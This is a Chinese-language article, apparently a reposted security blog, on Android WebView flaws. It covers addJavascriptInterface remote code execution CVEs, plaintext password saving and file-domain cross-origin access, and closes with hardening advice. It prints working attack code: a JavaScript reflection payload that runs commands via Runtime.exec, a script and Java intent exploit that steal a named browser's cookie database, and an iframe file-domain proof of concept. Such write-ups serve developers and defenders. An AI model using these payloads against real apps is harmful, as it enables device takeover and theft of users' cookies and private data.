0X01 About WebViewhtml
在Android开发中,常常会使用WebView来实现WEB页面的展现,在Activiry中启动本身的浏览器,或者简单的展现一些在线内容等。WebView功能强大,应用普遍,但它是天使与恶魔的合体,一方面它加强了APP的上网体验,让APP功能更多样化,另外一方面它也引入了不少的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等,这些安全问题能够直接致使用户敏感信息泄露,移动终端被恶意攻击者控制。下文将详细介绍这一系列安全问题,罗列相关的一些案列,并提供相应安全开发建议。
java
0X02 WebView任意代码执行漏洞android
已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引发远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterface API引发的远程代码执行漏洞。以后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用,实现远程任意代码。再后来是CVE-2014-7224,相似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口,可被利用实现远程任意代码执行。
后文咱们将围绕下面这段常见的示例代码展开:
WebView mWebView = (WebView)findViewById(R.id.webView);
①WebSettings msetting = mWebView.getSettings();
②msetting.setJavaScriptEnabled(true);
③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs");
④mWebView.loadUrl(getIntent().getStringExtra("url"));
CVE-2012-6636
Android系统为了方便APP中Java代码和网页中的Javascript脚本交互,在WebView控件中实现了addJavascriptInterface接口,对应示例代码中的③,网页中的JS脚本能够利用接口“myjs”调用App中的Java代码,而Java对象继承关系会致使不少Public的函数及getClass函数均可以在JS中被访问,结合Java的反射机制,攻击者还能够得到系统类的函数,进而能够进行任意代码执行。漏洞在2013年8月被披露后,不少APP都中招,其中浏览器APP成为重灾区。但截至目前任有不少APP中依然存在此漏洞,与以往不一样的只是攻击入口发生了必定的变化。另外咱们也发现一些小厂商的APP开发团队由于缺少安全意识,依然还在APP中为所欲为的使用addjs接口,明目张胆踩雷。
出于安全考虑,Google在API 17中规定容许被调用的函数必须以@JavascriptInterface进行注解,理论上若是APP依赖的API为17或者以上,就不会受该问题的影响。但部分机型上,API 17依然受影响,而且若是APP存在此漏洞,且targetsdk小于17,那漏洞的影响能够覆盖到android4.4的终端,若是大于等于17,只能在android4.2的机型上触发,因此前一种状况的危害目前来看依旧很大。
CVE-2014-1939
在2014年发如今Android4.4如下的系统中,webkit中默认内置了“searchBoxJavaBridge_”, 代码位于“java/android/webkit/BrowserFrame.java”,该接口一样存在远程代码执行的威胁。
CVE-2014-7224
在2014年,研究人员Daoyuan Wu和Rocky Chang发现,当系统辅助功能服务被开启时,在Android4.4如下的系统中,由系统提供的WebView组件都默认导出"accessibility" 和"accessibilityTraversal"这两个接口,代码位于“android/webkit/AccessibilityInjector.java”,这两个接口一样存在远程任意代码执行的威胁。
常见挂马页面web
function addJsHack(cmdArgs){ for (var obj in window) { try { if ("getClass" in window[obj]) { try{ window[obj].getClass().forName("java.lang.Runtime"). getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);; }catch(e){ } } } catch(e) { } } } addJsHack()
扫码攻击
图片来自于某漏洞收集平台,经过二维码扫描触发WebView任意代码执行漏洞:跨域
以聚美优品为例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相关代码位于浏览器
com.jm.android.jumei.controls.JuMeiCustomWebView.java中: public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) { ...... this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME); }
0X03 WebView密码明文存储漏洞安全
WebView默认开启密码保存功能mWebView.setSavePassword(true),若是该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,若是选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db
服务器
0X04 WebView域控制不严格漏洞cookie
setAllowFileAccesside
Android中默认mWebView.setAllowFileAccess(true),在File域下,可以执行任意的JavaScript代码,同源策略跨域访问可以对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL作限制,会致使隐私信息泄露,针对IM类软件会致使聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。
setAllowFileAccessFromFileURLs
在JELLY_BEAN之前的版本默认是setAllowFileAccessFromFileURLs(true),容许经过file域url中的Javascript读取其余本地文件,在JELLY_BEAN及之后的版本中默认已被是禁止。
setAllowUniversalAccessFromFileURLs
在JELLY_BEAN之前的版本默认是setAllowUniversalAccessFromFileURLs(true),容许经过file域url中的Javascript访问其余的源,包括其余的本地文件和http,https源的数据。在JELLY_BEAN及之后的版本中默认已被禁止。
360手机浏览器缺陷可致使用户敏感数据泄漏
以360手机浏览器4.8版本为例,因为未对file域作安全限制,恶意APP调用360浏览器加载本地的攻击页面(好比恶意APP释放到SDCARD上的一个HTML)后,就能够获取360手机浏览器下的全部私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:
function getDatabase() { var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml');} } xmlhttp = request; var prefix = "file:////data/data/com.qihoo.browser/databases"; var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db var path = prefix.concat(postfix); // 获取本地文件代码 xmlhttp.open("GET", path, false); xmlhttp.send(null); var ret = xmlhttp.responseText; return ret; }
漏洞利用代码:
copyFile(); //自定义函数,释放filehehe.html到sd卡上 String url = "file:///mnt/sdcard/filehehe.html"; Intent contIntent = new Intent(); contIntent.setAction("android.intent.action.VIEW"); contIntent.setData(Uri.parse(url)); Intent intent = new Intent(); intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity"); intent.setAction("android.intent.action.VIEW"); intent.setData(Uri.parse(url)); this.startActivity(intent);
0X05 WebView file跨域漏洞
Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,致使容许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码以下所示:
<iframe name=f src="www.baidu.com" ></iframe> <script> function init(){ f.location = "file:///default.prop"; } setTimeout(init,5000) </script>
在浏览器中打开服务器上的filereach.html,将从http域跳转到file域
0X06安全开发建议
1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位;
2)建议开发者经过如下方式移除该JavaScript接口:
removeJavascriptInterface("searchBoxJavaBridge_")
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal")
3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本以后,规定容许被调用的函数必须以@JavascriptInterface进行注解
4)经过WebSettings.setSavePassword(false)关闭密码保存提醒功能
5)经过如下设置,防止越权访问,跨域等安全问题:
setAllowFileAccess(false)
setAllowFileAccessFromFileURLs(false)
setAllowUniversalAccessFromFileURLs(false)
0X07参考信息
https://cve.mitre.org/cgi-bin...
https://cve.mitre.org/cgi-bin...
https://cve.mitre.org/cgi-bin...
https://cve.mitre.org/cgi-bin...
http://drops.wooyun.org/webvi...